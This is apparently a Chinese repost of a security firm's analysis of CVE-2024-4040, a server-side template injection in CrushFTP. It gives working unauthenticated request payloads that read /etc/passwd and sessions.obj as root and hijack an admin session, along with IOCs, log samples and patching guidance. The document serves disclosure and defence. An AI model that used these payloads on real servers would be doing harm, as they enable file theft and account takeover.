概述
2024年4月19日,星期五,托管文件传输供应商CrushFTP在其私人邮件列表上发布了信息,涉及影响所有平台的CrushFTP版本低于10.7.1和11.1.0(以及遗留的9.x版本)的新零日漏洞。在披露时,供应商没有分配CVE,但第三方CVE编号机构(CNA)在4月22日星期一分配了CVE-2024-4040。
在CrushFTP版本11.1.0(已修复版本)的发布说明中,CVE-2024-4040被描述为“经过身份验证的会话”的问题。
Rapid7对这一漏洞的分析发现CVE-2024-4040是完全未经身份验证的,并且易于武器化。尽管这个漏洞被称为任意文件读取,但我认为它最适合分类为服务器端模板注入(SSTI)(注意:漏洞描述已经更新为以SSTI作为根本原因,截至4月24日)。执行未经身份验证的HTTPS请求到CrushFTP Web界面与SSTI有效载荷,导致以root用户身份进行任意文件读取,绕过管理员帐户访问的认证,以及窃取存储在实例上的所有文件。
由于CrushFTP在默认配置中使用可逆的DES加密密码,攻击者可能能够以明文形式恢复所有用户密码。此外,Rapid7已确认攻击者可以利用这些原语建立远程代码执行。
供应商表示该漏洞已经被利用;截至4月24日,CVE-2024-4040也已被CrowdStrike报告利用,并已添加到CISA KEV。截至4月23日星期二,似乎有大约5200多个实例的CrushFTP暴露在公共互联网上。发现该问题的Airbus CERT在4月23日发布了概念验证代码,触发了该漏洞。
分析
patch diff
有了易受攻击和已打补丁的CrushFTP版本,我们使用CFR反编译器反编译了应用程序的主要JAR文件CrushFTP.jar
。
$ java -jar cfr-0.152.jar ./CrushFTP.jar --outputdir output/
检查后,发现在新版本中处理大部分未经身份验证和经过身份验证的API Web流量的文件已经被更改。那个文件,crushftp/server/ServerSessionAJAX.java
,收到了许多更改。其中一个更改是修改了writeResponse
函数,该函数负责构建和发送API请求的HTTP响应。下面显示了那个更改:
< if (convertVars) {
< response = ServerStatus.thisObj.change_vars_to_values(response, this.thisSessionHTTP.thisSession);
---
> if (convertVars && this.thisSessionHTTP.thisSession != null) {
> response = ServerStatus.change_user_safe_vars_to_values_static(response, this.thisSessionHTTP.thisSession.user, this.thisSessionHTTP.thisSession.user_info, this.thisSessionHTTP.thisSession);
writeResponse
一开始,ServerStatus.change_vars_to_values
函数已经被替换为听起来更安全的ServerStatus.change_user_safe_vars_to_values_static
。是什么让补丁版本安全,而旧方法不安全呢?为了弄清楚这一点,我们首先需要确保在不经过身份验证的情况下可以访问此文件中定义的攻击面。
到达ServerSessionAJAX
为了与API交互,我们需要一个没有特权的会话,作为anonymous
用户。根据CrushFTP的安全设计,可以通过对带有/WebInterface
前缀的任何页面执行未经身份验证的请求来访问这个伪用户角色的会话令牌。在这种情况下,我们将从该端点的404页面中获取一个令牌。
GET /WebInterface/ HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close
HTTP/1.1 404 Not Found
Set-Cookie: currentAuth=vndQ; path=/; secure; SameSite=None
Set-Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; path=/; secure; SameSite=None; HttpOnly
Content-Length: 38
Date: Mon, 22 Apr 2024 21:24:38 GMT
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
The selected resource was not found.
如上所示,为anonymous
用户返回了CrushAuth
令牌。现在应该可以使用我们的新anonymous
令牌访问由ServerSessionAJAX
实现的API了。我们将通过调用我们没有权限访问的API功能:zip
函数来确认这一点。如果匿名令牌有效,我们应该收到访问被拒绝的消息,而不是“未找到选定的资源”。
POST /WebInterface/function/?c2f=vndQ&command=zip&path=aaa&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Content-Type: text/xml;charset=utf-8
Date: Mon, 22 Apr 2024 21:31:58 GMT
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Length: 200
<?xml version="1.0" encoding="UTF-8"?>
<commandResult><response>You need download, upload permissions to zip a file:/bbb
You need upload permissions to zip a file:aaa
</response></commandResult>
完美!我们应该能够使用我们新创建的anonymous
令牌到达ServerSessionAJAX
中的任何未经身份验证的功能。
变量替换 既然已经处理好这些,让我们继续看看API响应代码的补丁部分。事实证明,这个代码路径负责替换HTTPS响应中存在的变量,充当服务器端模板引擎的角色。例如,当响应中存在%hostname%时,这段代码将动态地将这些填充条目替换为适当的变量和数据。要使用这个代码路径,API响应中的数据必须包含模板模式以进行评估。为了清晰起见,下面的代码注释已经添加。
public static String change_vars_to_values_static(String in_str, Properties user, Properties user_info, SessionCrush the_session) {
try {
if (in_str.indexOf(37) < 0 && in_str.indexOf(123) < 0 && in_str.indexOf(125) < 0 && in_str.indexOf(60) < 0) {
return in_str;
}
String r1 = "%"; // Search for percent symbol delimiters, called r1 and r2
String r2 = "%";
while (r < 2) {
String user_key2;
String user_key;
String key;
int loc;
String key2;
[..] // A large number of possible dynamic values, such as “hostname” and “heap_dump”, can be templated
if (in_str.indexOf(String.valueOf(r1) + "hostname" + r2) >= 0) {
in_str = Common.replace_str(in_str, String.valueOf(r1) + "hostname" + r2, hostname);
}
if (in_str.indexOf(String.valueOf(r1) + "server_time_date" + r2) >= 0) {
in_str = Common.replace_str(in_str, String.valueOf(r1) + "server_time_date" + r2, new Date().toString());
}
if (in_str.indexOf(String.valueOf(r1) + "login_number" + r2) >= 0) {
in_str = Common.replace_str(in_str, String.valueOf(r1) + "login_number" + r2, ServerStatus.uSG(user_info, "user_number"));
}
[..] // Though many options are possible, we’ll jump ahead to the most promising choices for exploitation
if (in_str.indexOf(String.valueOf(r1) + "ban" + r2) >= 0) {
in_str = Common.replace_str(in_str, String.valueOf(r1) + "ban" + r2, "");
thisObj.ban(user_info, 0, "msg variable");
}
if (in_str.indexOf(String.valueOf(r1) + "kick" + r2) >= 0) {
in_str = Common.replace_str(in_str, String.valueOf(r1) + "kick" + r2, "");
thisObj.passive_kick(user_info);
}
if (in_str.indexOf("<SPACE>") >= 0) {
in_str = Common.space_encode(in_str);
}
if (in_str.indexOf("<FREESPACE>") >= 0) {
in_str = Common.free_space(in_str);
}
if (in_str.indexOf("<URL>") >= 0) {
in_str = Common.url_encoder(in_str);
}
if (in_str.indexOf("<REVERSE_IP>") >= 0) {
in_str = Common.reverse_ip(in_str);
}
if (in_str.indexOf("<SOUND>") >= 0) {
in_str = ServerStatus.thisObj.common_code.play_sound(in_str);
}
if (in_str.indexOf("<LIST>") >= 0) {
in_str = thisObj.get_dir_list(in_str, the_session);
}
if (in_str.indexOf("<INCLUDE>") >= 0) {
in_str = thisObj.do_include_file_command(in_str);
}
r1 = "{"; // In addition to percent signs, the application also searches for curly brackets
r2 = "}";
++r;
}
这个漏洞似乎是一个服务器端模板注入!如果攻击者能够在API响应中的%%
或{}
内获取到自己的数据,看起来服务器将评估注入并填充攻击者提供的模板。
我们可以通过重复尝试调用zip
API来测试这个假设。这一次,我们将通过其中一个参数注入一个{hostname}
模板注入字符串,该字符串将在“访问被拒绝”消息中打印。
POST /WebInterface/function/?c2f=vndQ&command=zip&path={hostname}&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Content-Type: text/xml;charset=utf-8
Date: Mon, 22 Apr 2024 21:39:59 GMT
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Length: 210
<?xml version="1.0" encoding="UTF-8"?>
<commandResult><response>You need download, upload permissions to zip a file:/bbb
You need upload permissions to zip a file:ubuntu-x64-01
</response></commandResult>
太棒了!模板注入起作用了,我们的负载被评估为响应体中的ubuntu-x64-01
。有了未经身份验证的SSTI,我们如何利用它产生重大影响?
任意文件读取
回顾我们可能的模板负载,有一些特殊功能可以通过大于/小于标签注入来调用。例如,<INCLUDE>
标签将调用do_include_file_command
函数。如果存在<INCLUDE>
,就会调用这个函数,并且它只接受完整的API响应数据作为其唯一参数。
public String do_include_file_command(String in_str) {
try {
String file_name = in_str.substring(in_str.indexOf("<INCLUDE>") + 9, in_str.indexOf("</INCLUDE>"));
RandomAccessFile includer = new RandomAccessFile(new File_S(file_name), "r");
byte[] temp_array = new byte[(int)includer.length()];
includer.read(temp_array);
includer.close();
String include_data = String.valueOf(new String(temp_array)) + this.CRLF;
return Common.replace_str(in_str, "<INCLUDE>" + file_name + "</INCLUDE>", include_data);
}
catch (Exception exception) {
return in_str;
}
}
模板引擎搜索模式<INCLUDE>.*</INCLUDE>
,从两个标签内提取文件路径。然后获取该文件的内容并嵌入到返回的响应中。这个功能似乎很可能会暴露供应商咨询中宣传的任意文件读取原语。让我们尝试一下吧!
POST /WebInterface/function/?command=zip&c2f=vndQ&path=<INCLUDE>/etc/passwd</INCLUDE>&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Content-Type: text/xml;charset=utf-8
Date: Mon, 22 Apr 2024 21:56:44 GMT
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Length: 3101
<?xml version="1.0" encoding="UTF-8"?>
<commandResult><response>You need download, upload permissions to zip a file:/bbb
You need upload permissions to zip a file:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:102:105::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
syslog:x:104:111::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:113:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:116::/run/uuidd:/usr/sbin/nologin
systemd-oom:x:108:117:systemd Userspace OOM Killer,,,:/run/systemd:/usr/sbin/nologin
tcpdump:x:109:118::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
avahi:x:114:121:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
rtkit:x:116:123:RealtimeKit,,,:/proc:/usr/sbin/nologin
whoopsie:x:117:124::/nonexistent:/bin/false
sssd:x:118:125:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
fwupd-refresh:x:120:126:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
nm-openvpn:x:121:127:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
saned:x:122:129::/var/lib/saned:/usr/sbin/nologin
colord:x:123:130:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:124:131::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:125:132:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:126:65534::/run/gnome-initial-setup/:/bin/false
hplip:x:127:7:HPLIP system user,,,:/run/hplip:/bin/false
gdm:x:128:134:Gnome Display Manager:/var/lib/gdm3:/bin/false
</response></commandResult>
我们已经确立了未经身份验证的任意文件读取,以root用户身份。
绕过身份验证
在CrushFTP中,用户会话令牌被缓存在一个序列化对象中,该对象位于安装文件夹的根目录。为了绕过身份验证,我们可以读取该文件,将其中所有的会话令牌与getUsername
API进行比对,然后通过活跃的有特权令牌执行恶意操作。我们将使用{working_dir}
模板注入有效载荷来泄露CrushFTP安装目录,然后利用该目录来获取sessions.obj
。
POST /WebInterface/function/?command=zip&c2f=vndQ&path={working_dir}&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Content-Type: text/xml;charset=utf-8
Date: Mon, 22 Apr 2024 22:24:46 GMT
Server: CrushFTP HTTP Server
P3P: policyref="/WebInterface/w3c/p3p.xml", CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Length: 241
<?xml version="1.0" encoding="UTF-8"?>
<commandResult><response>You need download, upload permissions to zip a file:/bbb
You need upload permissions to zip a file:/home/researcher/CrushFTP/CrushFTP10/
</response></commandResult>
现在我们知道了/home/researcher/CrushFTP/CrushFTP10
目录是目标的安装位置,我们可以泄露序列化对象来获取管理员用户的会话。
POST /WebInterface/function/?command=zip&c2f=vndQ&path=<INCLUDE>/home/researcher/CrushFTP/CrushFTP10/sessions.obj</INCLUDE>&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
序列化对象返回了,包括所有当前活跃的用户会话。有了管理员会话Cookie,我们可以访问CrushFTP系统中存储的所有文件和用户凭证。
我们将在响应中从泄露的文件中定位并获取会话Cookie。
一个cURL请求到用户API函数确认我们已经获取了管理员会话Cookie。
$ curl 'https://crushftp/WebInterface/function/?command=getUsername&c2f=3dnZ' -H 'Cookie: CrushAuth=1713879298772_dZZeNbE2b7i6bAmGqqjXottYBG3dnZ; currentAuth=3dnZ' -k
<?xml version="1.0" encoding="UTF-8"?>
<loginResult><response>success</response><username>crushadmin</username></loginResult>
将该Cookie放入浏览器,成功登录到管理员Web控制台。
IOCs
利用该漏洞的恶意请求可以使用看似任何HTTPS方法,并且有效载荷可以通过请求体参数传递。CrushFTP.log
文件和logs/session_logs/
中的日志文件将显示模板注入正在进行。
ACCEPT|04/22/2024 17:47:35.660|[HTTPS:21_56874:lookup:443] Accepting connection from: 127.0.0.1:56874
POST|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *POST /WebInterface/function/ HTTP/1.1*
POST|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *Priority: u=0, i*
POST|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *command:zip*
POST|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *c2f:vndQ*
POST|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *path:<INCLUDE>/home/researcher/CrushFTP/CrushFTP10/sessions.obj</INCLUDE>*
POST|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *names:/bbb
POST|04/22/2024 17:47:35.661|*
POST|04/22/2024 17:47:35.691|[HTTPS:21_56874:anonymous:127.0.0.1] WROTE: *HTTP/1.1 200 OK*
SESSION|04/22/2024 17:47:35.660|[HTTPS:21_56874:lookup:443] Accepting connection from: 127.0.0.1:56874
SESSION|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *POST /WebInterface/function/ HTTP/1.1*
SESSION|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *Priority: u=0, i*
SESSION|04/22/2024 17:47:35.660|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *command:zip*
SESSION|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *c2f:vndQ*
SESSION|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *path:<INCLUDE>/home/researcher/CrushFTP/CrushFTP10/sessions.obj</INCLUDE>*
SESSION|04/22/2024 17:47:35.661|[HTTPS:21_44192_81T:anonymous:127.0.0.1] READ: *names:/bbb
SESSION|04/22/2024 17:47:35.661|*
SESSION|04/22/2024 17:47:35.691|[HTTPS:21_56874:anonymous:127.0.0.1] WROTE: *HTTP/1.1 200 OK*
SESSION|04/22/2024 17:47:36.367|[21_56874:anonymous:127.0.0.1] *Disconnected:*
值得注意的是,这里利用的zip
API滥用和<INCLUDE>
技术可以与其他端点和技术互换。日志中出现包含{
、}
、<
或>
的READ
值应被视为利用发生的主要迹象。攻击者还可能建立代码执行并清除日志以逃避检测。
CrushFTP还会接受不符合RFC标准的HTTPS请求,这可能被攻击者用来逃避检测。即使在HTTPS动词的位置提交了任意字符串,也可以利用该漏洞。路径也可以大量修改,同时仍然实现利用。防御者在实施检测时应该考虑这种行为。
这个请求将记录在CrushFTP.log
文件和logs/session_logs/
中:
SESSION|04/23/2024 10:11:55.999|[HTTPS:84_33592_PNA:anonymous:127.0.0.1] READ: *AAA BBB TEST/TESTWTESTebInterface/funTESTction/?command=zip&c2f=xIo4&path={<INCLUDE>/var/tmp/passwd</INCLUDE>}&names=/bbb HTTP/1.1*
POST|04/23/2024 10:11:55.999|[HTTPS:84_33592_PNA:anonymous:127.0.0.1] READ: *AAA BBB TEST/TESTWTESTebInterface/funTESTction/?command=zip&c2f=xIo4&path={<INCLUDE>/var/tmp/passwd</INCLUDE>}&names=/bbb HTTP/1.1*
请求体中的参数似乎需要POST动词才能发生利用。然而,路径仍然可以是任意数据,并且这些请求中包含的有效载荷将在日志中用星号进行编辑。
这个请求将记录在CrushFTP.log
文件和logs/session_logs/
中,如下所示:
SESSION|04/23/2024 10:35:23.410|[HTTPS:84_56454:lookup:443] Accepting connection from: 127.0.0.1:56454
SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *POST TEST/TESTWTESTebInterface/funTESTction/ HTTP/1.1*
SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *Priority: u=0, i*
SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *command:zip*
SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *c2f:xIo4*
SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *path:********
SESSION|04/23/2024 10:35:23.411|[HTTPS:84_33592_68E:anonymous:127.0.0.1] READ: *names:/bbb*
SESSION|04/23/2024 10:35:23.412|[HTTPS:84_56454:anonymous:127.0.0.1] WROTE: *HTTP/1.1 200 OK*
ACCEPT|04/23/2024 10:27:37.610|[HTTPS:84_47426:lookup:443] Accepting connection from: 127.0.0.1:47426
POST|04/23/2024 10:27:37.610|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *POST /TESTWTESTebInterface/funTESTction/ HTTP/1.1*
POST|04/23/2024 10:27:37.610|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *Priority: u=0, i*
POST|04/23/2024 10:27:37.611|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *command:zip*
POST|04/23/2024 10:27:37.611|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *c2f:xIo4*
POST|04/23/2024 10:27:37.611|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *path:********
POST|04/23/2024 10:27:37.611|[HTTPS:84_33592_8cj:anonymous:127.0.0.1] READ: *names:/bbb*
POST|04/23/2024 10:27:37.611|[HTTPS:84_47426:anonymous:127.0.0.1] WROTE: *HTTP/1.1 200 OK*
补救措施
根据供应商咨询,截至2024年4月23日,以下版本的CrushFTP存在漏洞:
-
所有旧版CrushFTP 9安装
-
CrushFTP 10低于v10.7.1
-
CrushFTP 11低于v11.1.0
更新易受攻击的软件后,API响应中的未经身份验证和经过身份验证的模板注入不再被评估,这似乎有效地缓解了漏洞。
供应商表示DMZ功能可以减轻漏洞,但可能在某些情况下仍然可以进行利用。应通过CrushFTP管理员仪表板紧急更新易受攻击的软件。此外,为了加强CrushFTP服务器以抵御管理员级别的远程代码执行攻击,应启用Limited Server模式,并尽可能使用最严格的配置。在可能的情况下,使用防火墙严格限制哪些IP地址被允许访问CrushFTP服务。
参考资料
-
CVE记录 -
CrushFTP咨询 -
CrushFTP 11.1.0发布说明 -
CrushFTP文档关于Limited Server模式 -
Rapid7博客 -
Airbus CERT PoC -
Bleeping Computer文章
原文始发于微信公众号(3072):CVE-2024-4040 CrushFTP RCE漏洞分析